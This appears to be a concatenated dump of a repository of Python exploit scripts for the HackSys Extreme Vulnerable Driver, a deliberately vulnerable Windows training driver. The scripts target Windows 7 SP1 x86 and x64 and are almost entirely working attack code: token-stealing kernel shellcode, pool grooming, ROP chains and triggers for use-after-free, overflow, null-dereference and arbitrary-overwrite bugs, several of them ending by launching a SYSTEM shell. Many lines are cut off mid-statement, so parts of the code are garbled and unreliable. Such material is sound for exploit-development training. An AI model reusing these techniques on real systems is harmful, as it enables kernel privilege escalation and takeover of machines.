289 | #print '[+] Grooming Kernel Pool' 290 | 291 | # this code is for Win 7 x64 292 | # on Win 10 we skip grooming 293 | #groom_pool(0x20000) 294 | 295 | print '[+] Allocating UaF object' 296 | 297 | call_AllocateUaFObject() 298 | 299 | print '[+] Freeing UaF object' 300 | 301 | call_FreeUaFObject() 302 | 303 | base_addr = get_kernel_base() 304 | if not base_addr: 305 | print '[-] Failed to obtain Kernel base' 306 | sys.exit(1) 307 | print '[+] Kernel base address: 0x%016x' % base_addr 308 | 309 | shellcode_addr = alloc_buffer(shellcode()) 310 | if not shellcode_addr: 311 | print '[-] Failed to allocate shellcode' 312 | sys.exit(1) 313 | print '[+] Shellcode allocated at 0x%016x' % shellcode_addr 314 | 315 | ropchain = build_ropchain(base_addr, shellcode_addr) 316 | fake_obj = ropchain + 'A' * (0x58 - len(ropchain)) 317 | 318 | print '[+] Allocating fake objects' 319 | 320 | for i in xrange(0x8000): 321 | # cause memory leaks... 322 | call_AllocateFakeObject(fake_obj) 323 | 324 | print '[+] Triggering fake callback func' 325 | 326 | call_UseUaFObject() 327 | 328 | # Got SYSTEM shell? 329 | import os 330 | os.system("powershell.exe") 331 | -------------------------------------------------------------------------------- /Windows 7 SP1 x86/ArbitraryOverwrite_HAL_v1.20.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # HEVD v1.20 ArbitraryOverwrite exploit for Windows 7 SP1 x86 by @acru3l. 4 | # 5 | 6 | import sys 7 | import struct 8 | from ctypes import * 9 | 10 | device_name = r'\\.\HackSysExtremeVulnerableDriver' 11 | 12 | # assembled with WinDBG 13 | shellcode = '' 14 | shellcode += '\x60' # pushad 15 | shellcode += '\x31\xc0' # xor eax,eax 16 | shellcode += '\x64\x8b\x80\x24\x01\x00\x00' # mov eax,dword ptr fs:[eax+124h] ; 0x124 = offset nt!_KPCR.PcrbData.CurrentThread 17 | shellcode += '\x8b\x40\x50' # mov eax,dword ptr [eax+50h] ; 0x50 = offset nt!_KTHREAD.ApcState.Process 18 | shellcode += '\x8b\xc8' # mov ecx,eax 19 | shellcode += '\xba\x04\x00\x00\x00' # mov edx,4 20 | shellcode += '\x8b\x80\xb8\x00\x00\x00' # mov eax,dword ptr [eax+0B8h] ; 0xB8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink 21 | shellcode += '\x2d\xb8\x00\x00\x00' # sub eax,0B8h 22 | shellcode += '\x39\x90\xb4\x00\x00\x00' # cmp dword ptr [eax+0B4h],edx ; 0xB4 = offset nt!_EPROCESS.UniqueProcessId 23 | shellcode += '\x75\xed' # jne $-17 24 | shellcode += '\x8b\x90\xf8\x00\x00\x00' # mov edx,dword ptr [eax+0F8h] ; 0xF8 = offset nt!_EPROCESS.Token 25 | shellcode += '\x89\x91\xf8\x00\x00\x00' # mov dword ptr [ecx+0F8h],edx 26 | shellcode += '\x61' # popad 27 | shellcode += '\xc2\x10\x00' # ret 10h ; HalQuerySystemInformation takes 4 arguments 28 | 29 | def get_kernel_base(): 30 | ''' 31 | find base address of the kernel via NtQuerySystemInformation 32 | ''' 33 | size = c_uint(0) 34 | 35 | windll.ntdll.NtQuerySystemInformation(11, # SystemModuleInformation 36 | 0, 37 | 0, 38 | byref(size)) 39 | 40 | buff = create_string_buffer(size.value) 41 | res = windll.ntdll.NtQuerySystemInformation(11, # SystemModuleInformation 42 | buff, 43 | size, 44 | byref(size)) 45 | if res: 46 | return None 47 | 48 | # Kernel is the first entry of the result 49 | image_base = struct.unpack(' returns to HEVD!IrpDeviceIoCtlHandler+0x161 41 | 42 | def worker(addr, value, evt): 43 | ''' 44 | *(addr) = value until evt is set 45 | ''' 46 | print '[+] Thread started: worker(0x%08x, 0x%08x, ...)' % (addr, value) 47 | 48 | while not evt.is_set(): 49 | # better off using an atomic operation, but it works anyway 50 | memmove(addr, struct.pack(' returns to HEVD!IrpDeviceIoCtlHandler+0x1b5 37 | 38 | hFile = windll.kernel32.CreateFileA(device_name, 39 | 0xC0000000, # GENERIC_READ | GENERIC_WRITE 40 | 0x00000001, # FILE_SHARE_READ 41 | 0, # NULL 42 | 3, # OPEN_EXISTING 43 | 0x80, # FILE_ATTRIBUTE_NORMAL 44 | 0) # NULL 45 | 46 | if hFile == -1: 47 | print '[-] Failed to open device: %s' % device_name 48 | sys.exit(1) 49 | print '[+] Device opened successfully: %s' % device_name 50 | 51 | # this might not be page-aligned 52 | buff_ptr = windll.kernel32.VirtualAlloc(0, 53 | 0x3000, 54 | 0x00003000, # MEM_COMMIT | MEM_RESERVE 55 | 0x40) # PAGE_EXECUTE_READWRITE 56 | 57 | if buff_ptr == 0: 58 | print '[-] Failed to allocate buffer' 59 | sys.exit(1) 60 | 61 | # get ptr to the first page 62 | page_ptr = (buff_ptr + 0xfff) & 0xfffff000 63 | print '[+] Address of the first page: 0x%08x' % page_ptr 64 | 65 | # release (decommit) the second page 66 | print '[+] Releasing the second page' 67 | retval = windll.kernel32.VirtualFree(page_ptr + 0x1000, 68 | 0x1000, 69 | 0x4000) # MEM_DECOMMIT 70 | 71 | if retval == 0: 72 | print '[-] Failed to release the second page' 73 | sys.exit(1) 74 | 75 | # smashing CPPEH_RECORD on the stack 76 | payload = 'A' * 0x80C 77 | payload += 'BBBB' # CPPEH_RECORD.old_esp 78 | payload += 'CCCC' # CPPEH_RECORD.exc_ptr 79 | payload += 'DDDD' # CPPEH_RECORD.registration.Next 80 | payload += struct.pack(' returns to HEVD!TriggerNullPointerDereference+0x117 29 | 30 | hFile = windll.kernel32.CreateFileA(device_name, 31 | 0xC0000000, # GENERIC_READ | GENERIC_WRITE 32 | 0x00000001, # FILE_SHARE_READ 33 | 0, # NULL 34 | 3, # OPEN_EXISTING 35 | 0x80, # FILE_ATTRIBUTE_NORMAL 36 | 0) # NULL 37 | 38 | if hFile == -1: 39 | print '[-] Failed to open device: %s' % device_name 40 | sys.exit(1) 41 | print '[+] Device opened successfully: %s' % device_name 42 | 43 | # this doesn't work on Windows 10 44 | hProcess = windll.kernel32.GetCurrentProcess() 45 | base_addr = c_int(1) 46 | buff_size = c_int(len(shellcode) + 8) 47 | status = windll.ntdll.NtAllocateVirtualMemory(hProcess, 48 | byref(base_addr), 49 | 0, 50 | byref(buff_size), 51 | 0x00003000, # MEM_COMMIT | MEM_RESERVE 52 | 0x40) # PAGE_EXECUTE_READWRITE 53 | 54 | if status != 0 or base_addr.value != 0: 55 | print '[-] Failed to allocate null page' 56 | sys.exit(1) 57 | print '[+] Null page allocated' 58 | 59 | fake_obj = '\x00\x00\x00\x00' + \ 60 | '\x08\x00\x00\x00' # pointer to shellcode 61 | memmove(0, fake_obj + shellcode, len(shellcode) + 8) 62 | 63 | print '[+] Triggering null pointer dereference' 64 | 65 | ioctl_code = 0x22202B # call NullPointerDereferenceIoctlHandler 66 | windll.kernel32.DeviceIoControl(hFile, 67 | ioctl_code, 68 | struct.pack(' Alloc Null Page -> Pool Overflow -> Free Chunks -> pwn! ;) 44 | 45 | # 1. groom Kernel Pool 46 | print '[+] Allocationg 0x20000 objects' 47 | 48 | handles = [] 49 | for i in xrange(0x20000): 50 | hObj = windll.kernel32.CreateEventA(0, 51 | 0, 52 | 0, 53 | 0) # with a name, size of an Event object changes 54 | if hObj == 0: 55 | print '[!] Failed to create %d th object' % i 56 | 57 | handles.append(hObj) 58 | 59 | print '[+] Creating 0x%x holes' % (0x10000 / 16) 60 | 61 | for i in xrange(0x10000, 0x20000, 16): 62 | # 0x40 * 8 == 0x200 63 | for h in handles[i:i+8]: 64 | windll.kernel32.CloseHandle(h) 65 | 66 | # 2. allocate null page 67 | print '[+] Placing fake obj at 0x0' 68 | 69 | obj_size = 0x88 70 | # fake nt!_OBJECT_TYPE 71 | fake_obj = '\x00' * 0x74 72 | fake_obj += struct.pack(' 0x00 131 | 132 | payload = 'A' * 0x1F8 + pool_hdr + quota_info + obj_hdr 133 | 134 | ioctl_code = 0x22200F # call PoolOverflowIoctlHandler 135 | windll.kernel32.DeviceIoControl(hFile, 136 | ioctl_code, 137 | payload, 138 | len(payload), 139 | 0, 140 | 0, 141 | byref(c_int(0)), 142 | 0) 143 | 144 | # 4. free all chunks 145 | for h in handles: 146 | windll.kernel32.CloseHandle(h) 147 | 148 | # Got SYSTEM shell? 149 | import os 150 | os.system("powershell.exe") 151 | -------------------------------------------------------------------------------- /Windows 7 SP1 x86/StackOverflowGS_v1.20.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # HEVD v1.20 StackOverflowGS exploit for Windows 7 SP1 x86 by @acru3l. 4 | # 5 | 6 | import sys 7 | import struct 8 | from ctypes import * 9 | 10 | device_name = r'\\.\HackSysExtremeVulnerableDriver' 11 | 12 | # assembled with WinDBG 13 | shellcode = '' 14 | shellcode += '\x60' # pushad 15 | shellcode += '\x31\xc0' # xor eax,eax 16 | shellcode += '\x64\x8b\x80\x24\x01\x00\x00' # mov eax,dword ptr fs:[eax+124h] ; 0x124 = offset nt!_KPCR.PcrbData.CurrentThread 17 | shellcode += '\x8b\x40\x50' # mov eax,dword ptr [eax+50h] ; 0x50 = offset nt!_KTHREAD.ApcState.Process 18 | shellcode += '\x8b\xc8' # mov ecx,eax 19 | shellcode += '\xba\x04\x00\x00\x00' # mov edx,4 20 | shellcode += '\x8b\x80\xb8\x00\x00\x00' # mov eax,dword ptr [eax+0B8h] ; 0xB8 = offset nt!_EPROCESS.ActiveProcessLinks.Flink 21 | shellcode += '\x2d\xb8\x00\x00\x00' # sub eax,0B8h 22 | shellcode += '\x39\x90\xb4\x00\x00\x00' # cmp dword ptr [eax+0B4h],edx ; 0xB4 = offset nt!_EPROCESS.UniqueProcessId 23 | shellcode += '\x75\xed' # jne $-17 24 | shellcode += '\x8b\x90\xf8\x00\x00\x00' # mov edx,dword ptr [eax+0F8h] ; 0xF8 = offset nt!_EPROCESS.Token 25 | shellcode += '\x89\x91\xf8\x00\x00\x00' # mov dword ptr [ecx+0F8h],edx 26 | shellcode += '\x61' # popad 27 | shellcode += '\x31\xc0' # xor eax,eax 28 | shellcode += '\x64\x8b\x80\x24\x01\x00\x00' # mov eax,dword ptr fs:[eax+124h] ; 0x124 = offset nt!_KPCR.PcrbData.CurrentThread 29 | shellcode += '\x8b\x80\x90\x01\x00\x00' # mov eax,dword ptr [eax+190h] ; 0x190 = offset nt!_KTHREAD.StackBase 30 | shellcode += '\x2d\x20\x05\x00\x00' # sub eax,520h 31 | shellcode += '\x8b\xe0' # mov esp,eax 32 | shellcode += '\x5d' # pop ebp ; restore ebp 33 | shellcode += '\x8b\x7c\x24\x04' # mov edi,dword ptr [esp+4] ; restore edi 34 | shellcode += '\x8b\x74\x24\x08' # mov esi,dword ptr [esp+8] ; restore esi 35 | shellcode += '\x31\xc0' # xor eax,eax 36 | shellcode += '\xc2\x08\x00' # ret 8 -> returns to HEVD!IrpDeviceIoCtlHandler+0xdf 37 | 38 | hFile = windll.kernel32.CreateFileA(device_name, 39 | 0xC0000000, # GENERIC_READ | GENERIC_WRITE 40 | 0x00000001, # FILE_SHARE_READ 41 | 0, # NULL 42 | 3, # OPEN_EXISTING 43 | 0x80, # FILE_ATTRIBUTE_NORMAL 44 | 0) # NULL 45 | 46 | if hFile == -1: 47 | print '[-] Failed to open device: %s' % device_name 48 | sys.exit(1) 49 | print '[+] Device opened successfully: %s' % device_name 50 | 51 | # this might not be page-aligned 52 | buff_ptr = windll.kernel32.VirtualAlloc(0, 53 | 0x3000, 54 | 0x00003000, # MEM_COMMIT | MEM_RESERVE 55 | 0x40) # PAGE_EXECUTE_READWRITE 56 | 57 | if buff_ptr == 0: 58 | print '[-] Failed to allocate buffer' 59 | sys.exit(1) 60 | 61 | # get ptr to the first page 62 | page_ptr = (buff_ptr + 0xfff) & 0xfffff000 63 | print '[+] Address of the first page: 0x%08x' % page_ptr 64 | 65 | # release (decommit) the second page 66 | print '[+] Releasing the second page' 67 | retval = windll.kernel32.VirtualFree(page_ptr + 0x1000, 68 | 0x1000, 69 | 0x4000) # MEM_DECOMMIT 70 | 71 | if retval == 0: 72 | print '[-] Failed to release the second page' 73 | sys.exit(1) 74 | 75 | # smashing CPPEH_RECORD on the stack 76 | payload = 'A' * 0x204 77 | payload += 'BBBB' # CPPEH_RECORD.old_esp 78 | payload += 'CCCC' # CPPEH_RECORD.exc_ptr 79 | payload += 'DDDD' # CPPEH_RECORD.registration.Next 80 | payload += struct.pack(' returns to HEVD!IrpDeviceIoCtlHandler+0xf7 30 | 31 | hFile = windll.kernel32.CreateFileA(device_name, 32 | 0xC0000000, # GENERIC_READ | GENERIC_WRITE 33 | 0x00000001, # FILE_SHARE_READ 34 | 0, # NULL 35 | 3, # OPEN_EXISTING 36 | 0x80, # FILE_ATTRIBUTE_NORMAL 37 | 0) # NULL 38 | 39 | if hFile == -1: 40 | print '[-] Failed to open device: %s' % device_name 41 | sys.exit(1) 42 | print '[+] Device opened successfully: %s' % device_name 43 | 44 | shellcode_buffer = windll.kernel32.VirtualAlloc(0, 45 | len(shellcode), 46 | 0x00003000, # MEM_COMMIT | MEM_RESERVE 47 | 0x40) # PAGE_EXECUTE_READWRITE 48 | 49 | if shellcode_buffer == 0: 50 | print '[-] Failed to allocate shellcode' 51 | sys.exit(1) 52 | print '[+] Shellcode allocated at 0x%08x' % shellcode_buffer 53 | 54 | memmove(shellcode_buffer, shellcode, len(shellcode)) 55 | 56 | payload = 'A' * 0x820 + struct.pack(' !poolinfo -b f8 -l -t nonpaged 82b4ac40 67 | # Lookaside[1E]: size=0F8, 82b4b4b0 68 | # 99d3f588: size:0F8 prev:030 index:02 type:05 tag:FMfn 69 | # 99d08f08: size:0F8 prev:030 index:03 type:05 tag:NtFA 70 | # kd> 71 | 72 | print '[+] Consuming Lookaside bucket' 73 | objects = [] 74 | for i in xrange(0x100): 75 | payload = 'AAAA' + struct.pack(' !poolinfo -b f8 -l -t nonpaged 82b4ac40 84 | # Lookaside[1E]: size=0F8, 82b4b4b0 85 | # 99d3f588: size:0F8 prev:030 index:02 type:05 tag:ObNm 86 | # kd> 87 | 88 | print '[+] Freeing Lookaside bucket' 89 | for h in objects: 90 | windll.kernel32.CloseHandle(h) 91 | 92 | # kd> !poolinfo -b f8 -l -t nonpaged 82b4ac40 93 | # Lookaside[1E]: size=0F8, 82b4b4b0 94 | # 99d31d30: size:0F8 prev:080 index:03 type:05 tag:ObNm 95 | # 8d8f45e0: size:0F8 prev:028 index:01 type:05 tag:ObNm 96 | # 99d08f08: size:0F8 prev:030 index:03 type:05 tag:ObNm 97 | # 99d3f588: size:0F8 prev:030 index:02 type:05 tag:ObNm 98 | # kd> 99 | 100 | print '[+] Triggering reuse of dirty chunk' 101 | 102 | ioctl_code = 0x222033 # call UninitializedHeapVariableIoctlHandler 103 | windll.kernel32.DeviceIoControl(hFile, 104 | ioctl_code, 105 | struct.pack(' AllocateUaFObject -> FreeUaFObject -> AllocateFakeObject -> UseUaFObject -> pwn! ;) 44 | 45 | # 1. groom Kernel Pool 46 | print '[+] Allocationg 0x18000 objects' 47 | 48 | handles = [] 49 | for i in xrange(0x18000): 50 | hObj = c_int(0) 51 | windll.ntdll.NtAllocateReserveObject(byref(hObj), 52 | 0, 53 | 1) # IO_COMPLETION_OBJECT 54 | handles.append(hObj) 55 | 56 | print '[+] Creating 0x4000 holes' 57 | 58 | for h in handles[0x10000::2]: 59 | windll.kernel32.CloseHandle(h) 60 | handles = handles[:0x10000] + handles[0x10001::2] 61 | 62 | # 2. allocate UaF obj 63 | print '[+] Allocating UaF object' 64 | 65 | dummy = create_string_buffer('A'*0x1000) 66 | 67 | ioctl_alloc = 0x222013 # call AllocateUaFObjectIoctlHandler 68 | windll.kernel32.DeviceIoControl(hFile, 69 | ioctl_alloc, 70 | dummy, 71 | 0x1000, 72 | 0, 73 | 0, 74 | byref(c_int(0)), 75 | 0) 76 | 77 | # 3. free UaF obj 78 | print '[+] Freeing UaF object' 79 | 80 | ioctl_free = 0x22201B # call FreeUaFObjectIoctlHandler 81 | windll.kernel32.DeviceIoControl(hFile, 82 | ioctl_free, 83 | dummy, 84 | 0x1000, 85 | 0, 86 | 0, 87 | byref(c_int(0)), 88 | 0) 89 | 90 | # 4. fill the holes with fake obj 91 | shellcode_buffer = windll.kernel32.VirtualAlloc(0, 92 | len(shellcode), 93 | 0x00003000, # MEM_COMMIT | MEM_RESERVE 94 | 0x40) # PAGE_EXECUTE_READWRITE 95 | 96 | if shellcode_buffer == 0: 97 | print '[-] Failed to allocate shellcode' 98 | sys.exit(1) 99 | print '[+] Shellcode allocated at 0x%08x' % shellcode_buffer 100 | 101 | memmove(shellcode_buffer, shellcode, len(shellcode)) 102 | 103 | fake_obj = struct.pack('